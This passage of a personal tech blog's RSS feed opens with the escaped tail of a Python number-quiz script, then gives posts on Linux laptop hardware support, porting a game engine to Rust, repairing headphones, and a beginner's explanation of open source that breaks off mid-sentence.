style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; __name__ == &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;from&lt;/span&gt; random &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; randint&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;from&lt;/span&gt; sys &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; argv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Check if there is a command line option for max numbers&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; len(argv) &amp;gt;= &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            MAX_NUM = int(argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; ValueError:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            MAX_NUM = -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# A little edge case handling&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; MAX_NUM &amp;gt; &lt;span style=&#34;color:#00f&#34;&gt;99&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Impossible - this program doesn&amp;#39;t &amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;work with numbers over 99.&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            exit(&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# If a max wasn&amp;#39;t given, default to 99&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        MAX_NUM = &lt;span style=&#34;color:#00f&#34;&gt;99&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    given = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    done_so_far = []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    number_done = &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n = randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, MAX_NUM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# If and as long as n has already been done, get a new number.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; n &lt;span style=&#34;font-weight:bold&#34;&gt;in&lt;/span&gt; done_so_far:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            n = randint(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;, MAX_NUM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            given = input(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;What is &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt; in Roman numbers? &amp;#34;&lt;/span&gt;.format(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                number_to_japanese(n)))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; KeyboardInterrupt:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Bye!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            exit(&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; EOFError:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Bye!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            exit(&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; given.lower() == &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Bye!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            exit(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; number_done &amp;gt;= MAX_NUM:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;You did all the numbers in that set!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            exit(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            given_n = int(given)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; ValueError:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            given_n = -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; given_n == n:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;You got it!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            done_so_far.append(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            number_done += &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No, that&amp;#39;s incorrect. This is &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;.&amp;#34;&lt;/span&gt;.format(n))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
    </item>
    <item>
      <title>Why Linux on the PC Needs a Focus on Hardware Support</title>
      <link>https://nora.codes/post/why-linux-on-the-pc-needs-a-focus-on-hardware-support/</link>
      <pubDate>Tue, 02 Aug 2016 16:28:47 +0000</pubDate>
      <guid>https://nora.codes/post/why-linux-on-the-pc-needs-a-focus-on-hardware-support/</guid>
      <description>&lt;p&gt;Linux cannot fall behind in hardware support. In fact, if we ever want to capture the desktop market, we have to race ahead.&lt;/p&gt;&#xA;&lt;p&gt;A few days ago, I had an interesting and somewhat frustrating experience with a friend of mine. Their laptop was dying, so they asked me to give them some suggestions for a new one.&lt;/p&gt;&#xA;&lt;p&gt;Their requirements were a computer with a display that was good for reading, enough power to be responsive and able to multitask well, and rapidly accessible storage, but not necessarily a lot of it. Of course, I immediately thought of the System76 Lemur, which happened to be on sale at the time; however, after going through a whole list of pros and cons of Ubuntu with the friend, they told me that they wanted to go with Windows or Mac OS X as they “didn’t have time to tinker”.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Linux cannot fall behind in hardware support. In fact, if we ever want to capture the desktop market, we have to race ahead.&lt;/p&gt;&#xA;&lt;p&gt;A few days ago, I had an interesting and somewhat frustrating experience with a friend of mine. Their laptop was dying, so they asked me to give them some suggestions for a new one.&lt;/p&gt;&#xA;&lt;p&gt;Their requirements were a computer with a display that was good for reading, enough power to be responsive and able to multitask well, and rapidly accessible storage, but not necessarily a lot of it. Of course, I immediately thought of the System76 Lemur, which happened to be on sale at the time; however, after going through a whole list of pros and cons of Ubuntu with the friend, they told me that they wanted to go with Windows or Mac OS X as they “didn’t have time to tinker”.&lt;/p&gt;&#xA;&lt;p&gt;They’re right, of course, but this really got under my skin. The thing is, if you’re not trying to game on Linux, there are absolutely no problems using it on a desktop in almost all cases. Desktop hardware is nicely standardized and “just works”. But on a laptop? Nope. It’s a crapshoot as to whether your wireless Internet and Bluetooth will work, or if your touchpad’s multi-touch will be usable. On my Dell Inspiron 7000-series laptop, which works almost flawlessly with Ubuntu GNOME, the wireless chipset will occasionally forget that any but a single network, to which I&amp;rsquo;m not connected, exists.&lt;/p&gt;&#xA;&lt;p&gt;Why is this? Well, it’s because laptops are often very, very custom. They have custom form factor motherboards with non-standard sets of features. Battery life is often the primary concern rather than compliance, and release cycles are very tight, so if a new hardware system is developed, drivers are produced for the target platform (almost always Windows) and released there. The Linux community has to hack together our own after the fact.&lt;/p&gt;&#xA;&lt;p&gt;Windows runs on most laptops, and has a lot of big issues. Privacy concerns, resource overutilization, extremely poor real-time performance, and a massive lack of customization are the obvious ones, along with a downright byzantine user interface without much power to back it up (in the consumer versions, that is). Mac OS X looks simple on the surface while still exposing the massive power of a UNIX to its power users and developers (although this is becoming progressively less true). On the other hand, it costs an absolute fortune to buy into that ecosystem, and that is where Linux comes in.&lt;/p&gt;&#xA;&lt;p&gt;In reality, Linux is a modern UNIX like Mac OS X, and it is far more flexible and powerful, but to many people, it&amp;rsquo;s just &amp;ldquo;Windows that costs less&amp;rdquo;. What we need to be is a Mac OS X that can run anywhere. Linux needs to be simple on the surface, which most DEs accomplish brilliantly, while exposing the power of the underlying OS, which isn&amp;rsquo;t hard given a terminal emulator. Where Linux falls short is the &amp;ldquo;runs anywhere&amp;rdquo; part.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An update, four years on. Things are better now; a lot better. I&amp;rsquo;ve managed to stay&#xA;almost entirely on Linux as my desktop OS by relying on the excellent support for ThinkPad&#xA;hardware. The mainline kernel supports a lot of hardware out of the box. On the other hand,&#xA;as more custom laptops come out with highly integrated hardware, there is a class of&#xA;very cheap laptops that would be nice to use as Linux machines that have hardware that isn&amp;rsquo;t&#xA;even really well supported on Windows, and is totally unusable on Linux.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Porting Deucalion to Rust</title>
      <link>https://nora.codes/post/porting-deucalion-to-rust/</link>
      <pubDate>Mon, 11 Jul 2016 15:33:38 +0000</pubDate>
      <guid>https://nora.codes/post/porting-deucalion-to-rust/</guid>
      <description>&lt;p&gt;A few months ago, I made a proof-of-concept for an RPG engine based on SFML and the Tiled map editor, called Deucalion. Over time, the source code became unwieldy, leaked a great deal of memory, and was nearly impossible to build. I ended up spending more time configuring build systems than actually working on the code, and I abandoned it in favor of SBrain and schoolwork.&lt;/p&gt;&#xA;&lt;p&gt;Recently, though, the Rust game development story has gotten a lot better, and I&amp;rsquo;ve gotten a bit of free time. With the help of a friend of mine, Dan Janes, I&amp;rsquo;ve been porting the existing code to Rust and refining the design for the game-dev-facing API. It&amp;rsquo;s been interesting, since it&amp;rsquo;s my first time running a project on which I am not the sole contributor.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;A few months ago, I made a proof-of-concept for an RPG engine based on SFML and the Tiled map editor, called Deucalion. Over time, the source code became unwieldy, leaked a great deal of memory, and was nearly impossible to build. I ended up spending more time configuring build systems than actually working on the code, and I abandoned it in favor of SBrain and schoolwork.&lt;/p&gt;&#xA;&lt;p&gt;Recently, though, the Rust game development story has gotten a lot better, and I&amp;rsquo;ve gotten a bit of free time. With the help of a friend of mine, Dan Janes, I&amp;rsquo;ve been porting the existing code to Rust and refining the design for the game-dev-facing API. It&amp;rsquo;s been interesting, since it&amp;rsquo;s my first time running a project on which I am not the sole contributor.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve certainly run into some problems because of the relative immaturity of the Rust ecosystem - for example, many projects don&amp;rsquo;t use the standard Error trait, which makes using the handy macros that rely on it such as try! nearly impossible, but I&amp;rsquo;ve also found that as a whole, the community is very responsive to having these issues pointed out and solved.&lt;/p&gt;&#xA;&lt;p&gt;Deucalion isn&amp;rsquo;t quite at the level it was before I decided to port it - I&amp;rsquo;m still struggling to get tilemaps to draw with decent performance, and a lot of design work needs to be done - but it&amp;rsquo;s doing better than I thought it would, and I&amp;rsquo;ve discovered some of the best features of Rust so far.&lt;/p&gt;&#xA;&lt;p&gt;For example, while Rust doesn&amp;rsquo;t have exceptions (because exception handling requires a heavyweight runtime), the convention of returning Result&amp;lt;T, Error&amp;gt; from functions that might fail allows programs to act as if it did. Deucalion implements a single, shared error struct DeucalionError that encapsulates every possible error type (Currently IoError, LuaError, TiledError, NotImplementedError, and Other), allowing callers of risky functions to act according to the actual failure that occurred.&lt;/p&gt;&#xA;&lt;p&gt;I also like the module system much more than I thought I would at first. While learning when and where to use mod vs use can be a bit of a hassle, the fact that multiple includes create an automatic compiler error is very welcome when compared with C++.&lt;/p&gt;&#xA;&lt;p&gt;Rust is a great language, and its ecosystem is on its way to becoming as good as that of Python or Ruby. I&amp;rsquo;m excited for every step along the way.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>I Repaired My Headphones</title>
      <link>https://nora.codes/post/i-repaired-my-headphones/</link>
      <pubDate>Sat, 04 Jun 2016 14:53:55 +0000</pubDate>
      <guid>https://nora.codes/post/i-repaired-my-headphones/</guid>
      <description>&lt;p&gt;Hardware manufacturers are missing out on a huge potential source of revenue: the thrifty tech user market.&lt;/p&gt;&#xA;&lt;p&gt;I just woke up to find that my favorite pair of headphones was making only one sound, and it wasn&amp;rsquo;t the one I was putting in as an electrical signal. It was rattling.&lt;/p&gt;&#xA;&lt;p&gt;Feeling adventurous, I popped the around-the-ear pads off and - lo and behold! - found four Torx screws. I removed them, found that the drivers had separated from their sockets, and put them back in. I also glued them in with a bit of hot snot, since the drivers happened to be a little deeper than their sockets, giving me a nice lip around which I could run the hot glue gun.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Hardware manufacturers are missing out on a huge potential source of revenue: the thrifty tech user market.&lt;/p&gt;&#xA;&lt;p&gt;I just woke up to find that my favorite pair of headphones was making only one sound, and it wasn&amp;rsquo;t the one I was putting in as an electrical signal. It was rattling.&lt;/p&gt;&#xA;&lt;p&gt;Feeling adventurous, I popped the around-the-ear pads off and - lo and behold! - found four Torx screws. I removed them, found that the drivers had separated from their sockets, and put them back in. I also glued them in with a bit of hot snot, since the drivers happened to be a little deeper than their sockets, giving me a nice lip around which I could run the hot glue gun.&lt;/p&gt;&#xA;&lt;p&gt;These headphones cost about $25. They&amp;rsquo;re not expensive and they&amp;rsquo;re not fancy, but they&amp;rsquo;re repairable. I bought them for that, in a sort of shallow sense: they&amp;rsquo;re advertised as having a 3.5mm accepting jack on the left ear, which means that the cable can be replaced. I abuse my headphones constantly, and I&amp;rsquo;ve already replaced the 3.5mm cable twice.&lt;/p&gt;&#xA;&lt;p&gt;My only question is, why didn&amp;rsquo;t they advertise to me that the insides were trivial to repair as well? Every other pair of around-ear headphones I&amp;rsquo;ve owned has been ultrasonically welded, not affixed with screws; the drivers have been glued to the frame, not inserted into a socket that&amp;rsquo;s integral to the frame; and the around-the-ear cups have been either glued on or attached with a huge lip that&amp;rsquo;s nearly impossible to remove.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Idoru&lt;/em&gt;, Gibson predicted that, by around now, we would have reverted to a model of non-disposable, easily repairable electronics. I&amp;rsquo;d pay so much more for headphones that were advertised not just with shots of the outside but with schematics and examples of how easy repairs are. I&amp;rsquo;d be willing to wait longer for my shipment if I didn&amp;rsquo;t think I&amp;rsquo;d need to buy a new pair of headphones next month.&lt;/p&gt;&#xA;&lt;p&gt;I want headphones made by the Sandbenders out of &lt;a href=&#34;http://www.technovelgy.com/ct/content.asp?Bnum=80&#34;&gt;coral and turquoise&lt;/a&gt; and the interior surface of renewable nuts, and I&amp;rsquo;d be willing to pay a lot for them, not for aesthetic reasons but because I know I won&amp;rsquo;t have to replace them for a long, long time.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Open Source for Normal People</title>
      <link>https://nora.codes/post/open-source-for-normal-people/</link>
      <pubDate>Mon, 11 Apr 2016 05:54:17 +0000</pubDate>
      <guid>https://nora.codes/post/open-source-for-normal-people/</guid>
      <description>&lt;p&gt;This is not an article for technical people. It is an article normal people who just use their computers to get things done: to look at Facebook and Twitter, check their work email, write novels, design houses… whatever.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you’ve heard about open source by using a open source program like Firefox, OpenOffice, or Inkscape. Maybe a friend suggested you look into it. Whatever the reason, you’re here, so here you go: a simple, non-technical explanation of what it is and why it’s important.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;This is not an article for technical people. It is an article normal people who just use their computers to get things done: to look at Facebook and Twitter, check their work email, write novels, design houses… whatever.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you’ve heard about open source by using a open source program like Firefox, OpenOffice, or Inkscape. Maybe a friend suggested you look into it. Whatever the reason, you’re here, so here you go: a simple, non-technical explanation of what it is and why it’s important.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR (Too long, didn&amp;rsquo;t read)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the quick overview: Most software is secret; open source software isn&amp;rsquo;t. As counterintuitive as it may seem, it&amp;rsquo;s not necessary to keep software secret in order to make money, and when software is not secret, competition is fiercer and innovation often progresses at a faster pace. Keeping software transparent also prevents the authors of that software from using anti-consumer and anti-competitive tactics like proprietary format lock-in.&lt;/p&gt;&#xA;&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;&#xA;&lt;p&gt;Some background first (really, just a little bit, I promise!)&lt;/p&gt;&#xA;&lt;p&gt;Computers really just do math. That’s it; they don’t know what words are, or what a web page is. &lt;strong&gt;Software&lt;/strong&gt; turns things humans are interested in, like words or web pages or building plans, into numbers that computers know how to work with. Software is made of &lt;strong&gt;code&lt;/strong&gt;. First, there’s the &lt;strong&gt;source code&lt;/strong&gt;, which is a kind of code that humans can (sort of) read. Programmers make source code that describes what a computer should do to numbers to get the result that you, the user, want. It’s a little something like a recipe.&lt;/p&gt;&#xA;&lt;p&gt;That recipe gets “baked” into &lt;strong&gt;machine code&lt;/strong&gt;, which very, very few humans understand. It&amp;rsquo;s only for computers. That’s what you download from the App Store or get on a CD when you buy a piece of software like Angry Birds or Microsoft Word.&lt;/p&gt;&#xA;&lt;h2 id=&#34;closed-source&#34;&gt;Closed Source&lt;/h2&gt;&#xA;&lt;p&gt;Most software, like Microsoft Word or Angry Birds, is &lt;strong&gt;closed source&lt;/strong&gt; or &lt;strong&gt;proprietary&lt;/strong&gt;. This means that all you, the customer, get is the machine code. You can’t read it, but your computer can, so you can click on the little W icon and your computer will open up a window with a blank page, ready to be filled with the next great American novel. The machine code tells the computer what each keypress means, how to save and load files, and when to draw that little red squiggly to inform you that you spelled “antidiesstablishmentarianism” wrong.&lt;/p&gt;&#xA;&lt;p&gt;That seems all fine and dandy, right? Well, it is, except for two things.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;First, the people who made the software are the only ones who know how it works.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is problematic for a lot of reasons. There’s the “bus factor”: what happens if the developer is hit by a bus, or, more realistically, the company shuts down or decides to stop supporting that product? No more updates for you, and there’s nothing anyone can do about it, because nobody has the recipe, only the pre-baked machine code. It also means that, if the people who made the software don’t want you to use it with their competitors’ software, they can stop you (or, at least, try).&lt;/p&gt;&#xA;&lt;p&gt;This happens a lot in the real world, and it’s called &lt;strong&gt;lock-in&lt;/strong&gt;. If your whole company uses Solidworks or Adobe Photoshop, for example, it’s going to be a real pain for you to switch to an alternative, even if some other company came out with a better, cheaper CAD package or photo editor. Once you’ve started using a particular piece of proprietary software, there’s no guarantee that you can switch to a better or cheaper program without a lot of headache. This is nothing, though, compared to the other problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Second, the people who made the software are the only ones who are really sure about what it does.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the same way that the cook is the only one who &lt;em&gt;really&lt;/em&gt; knows what’s in the cake you’re eating, the developers are the only ones who &lt;em&gt;really&lt;/em&gt; know what their program does. This is really, really bad when the closed source software is something that’s essential to a lot of people’s everyday lives and businesses, like Microsoft Windows, which, starting with version 10, forces users to install updates, sends information about them back to Microsoft, and even removes programs they’ve installed &lt;a href=&#34;http://www.makeuseof.com/tag/x-programs-windows-10-may-remove-device/&#34;&gt;without asking&lt;/a&gt;. Imagine if that happened to a program you used for work the day before a major deadline!&lt;/p&gt;&#xA;&lt;p&gt;The creators of closed source software can also artificially limit what the software is able to do. This is the model of the EagleCAD printed circuit board design program, which sells licenses ranging from $0 to $50,000. The software you get with each license is exactly the same, but the more you pay, the more features get unlocked, so most users end up with a powerful CAD package they can never use to its fullest extent.&lt;/p&gt;&#xA;&lt;h2 id=&#34;open-source-to-the-rescue&#34;&gt;Open Source to the Rescue&lt;/h2&gt;&#xA;&lt;p&gt;These problems are why many users and even businesses are embracing &lt;strong&gt;open source&lt;/strong&gt; software. Open source software is software whose source code, or recipe, is available for everyone to see. This means that anyone who can understand source code (a lot more people than can understand machine code) can make sure that the software does only what it’s supposed to.&lt;/p&gt;&#xA;&lt;p&gt;It also means that anyone can &lt;em&gt;change&lt;/em&gt; that code. Not like a wiki, mind you ! Changes have to be reviewed by the product&amp;rsquo;s maintainers before they are accepted into the mainstream distribution of the product, so if you decide to download an open source product, you can be sure that you&amp;rsquo;re getting the best version that&amp;rsquo;s available. Just like deciding to throw in that pinch of cinnamon, even if the original baker hated spices,  you can change your own copy whenever you like, and (usually) redistribute that copy to others. If you have a problem with the way your software works, you can just change it or, if you can’t program, you can hire any developer in the world to do it for you. This may not seem like a big deal, but it has far-reaching consequences.&lt;/p&gt;&#xA;&lt;p&gt;Imagine trying to get Microsoft to change something in Windows or Word for you, or trying to convince Adobe to add your favorite feature to Photoshop. They’d never do it because they can’t justify the cost, and even if they did agree to your change, it might take years before it was incorporated into a consumer version. On the other hand, with an open source product, you can download the software and use it just like with a closed source product, but if you need something to be changed and can’t wait for the people who made the software to do it, you can get it done &lt;em&gt;right away&lt;/em&gt; to your exact specifications. Open source gives you that freedom. If you don&amp;rsquo;t like the way something works, you can often change it yourself, and if you can&amp;rsquo;t, any developer in the world can.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-open-source-business&#34;&gt;The Open Source Business&lt;/h2&gt;&#xA;&lt;p&gt;While on the surface it might seem impossible to make money on open source software, many companies do so. Red Hat Inc. sells an enterprise operating system based on the open source Linux kernel. While their product is almost entirely open source, and is freely available to anyone, many industrial facilities, financial institutions, and governments pay huge sums for technical support. MongoDB Inc. publishes an eponymous open source database solution under a similar business model.&lt;/p&gt;&#xA;&lt;p&gt;Other companies, especially small ones with between one and ten developers, work partially on what are called &lt;strong&gt;open source bounties&lt;/strong&gt;. The software is free, but customers can make a contract with the developers which essentially says, &amp;ldquo;for some amount of money, the developers will create some feature by some specific date&amp;rdquo;. This allows developers to make money, allows the customer to be sure that they will get the features they need when they are needed, and allows the entire community to benefit from these new features once they&amp;rsquo;ve been created.&lt;/p&gt;&#xA;&lt;p&gt;Even electronic hardware companies are embracing open source. While Linux, KiCAD, and other open source software has been popular in electronics for a long time, businesses like SparkFun, Adafruit Industries, and many others are creating &lt;strong&gt;open source hardware&lt;/strong&gt;. Electronics that are open source are sold by the companies that create them just like normal, but all the schematics, diagrams, printed circuit board designs, and bills of materials are distributed for free to anyone who wants 